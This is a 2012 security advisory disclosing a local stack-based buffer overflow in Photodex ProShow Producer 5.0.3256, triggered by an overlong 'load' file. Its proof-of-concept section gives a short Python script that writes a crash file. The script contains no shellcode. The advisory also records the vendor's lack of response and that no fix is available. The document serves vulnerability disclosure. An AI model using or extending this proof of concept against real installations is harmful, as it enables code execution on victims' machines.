Photodex ProShow Producer 5.0.3256 – Buffer Overflow

  • 作者: Julien Ahrens
    日期: 2012-07-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19563/
  • Inshell Security Advisory
    http://www.inshell.net/
    
    
    1. ADVISORY INFORMATION
    -----------------------
    Product:Photodex ProShow Producer
    Vendor URL: www.photodex.com
    Type: Stack-based Buffer Overflow [CWE-121]
    Date found: 2012-06-06
    Date published: 2012-07-02
    CVSSv2 Score: 6,9 (AV:L/AC:M/Au:N/C:C/I:C/A:C)
    CVE:-
    
    
    2. CREDITS
    ----------
    This vulnerability was discovered and researched by Julien Ahrens from
    Inshell Security.
    
    
    3. VERSIONS AFFECTED
    --------------------
    Photodex ProShow Producer v5.0.3256, older versions may be affected too.
    
    
    4. VULNERABILITY DESCRIPTION
    ----------------------------
    A Local Buffer Overflow Vulnerability has been found on the Photodex
    ProShow Producer v5.0.3256.
    
    When starting, the application loads the contents of the "load" file
    from its application directory. The application does not validate the
    length of the string loaded from the "load" file before passing it to a
    buffer, which leads to a Buffer Overflow.
    
    An attacker needs to force the victim to place an arbitrary "load" file
    into the application directory.
    
    
    5. PROOF-OF-CONCEPT (CODE / Exploit)
    ------------------------------------
    #!/usr/bin/python
    file="load"
    
    junk1="\x41" * 9848
    boom="\x42\x42\x42\x42"
    junk2="\x43" * 100
    
    poc=junk1 + boom + junk2
    
    try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
    except:
    print "[!] Error while creating file!";
    
    
    For further Screenshots and/or PoCs visit:
    http://security.inshell.net/advisory/30
    
    
    6. SOLUTION
    -----------
    None
    
    
    7. REPORT TIMELINE
    ------------------
    2012-06-06: Initial notification sent to vendor
    2012-06-12: No response, second notification sent to vendor
    2012-06-20: No response, third notification sent to vendor
    2012-06-20: Vendor response, sent to appropriate departments
    2012-07-02: No further contact by vendor
    2012-07-02: Full Disclosure
    
    
    8. REFERENCES
    -------------
    http://security.inshell.net/advisory/30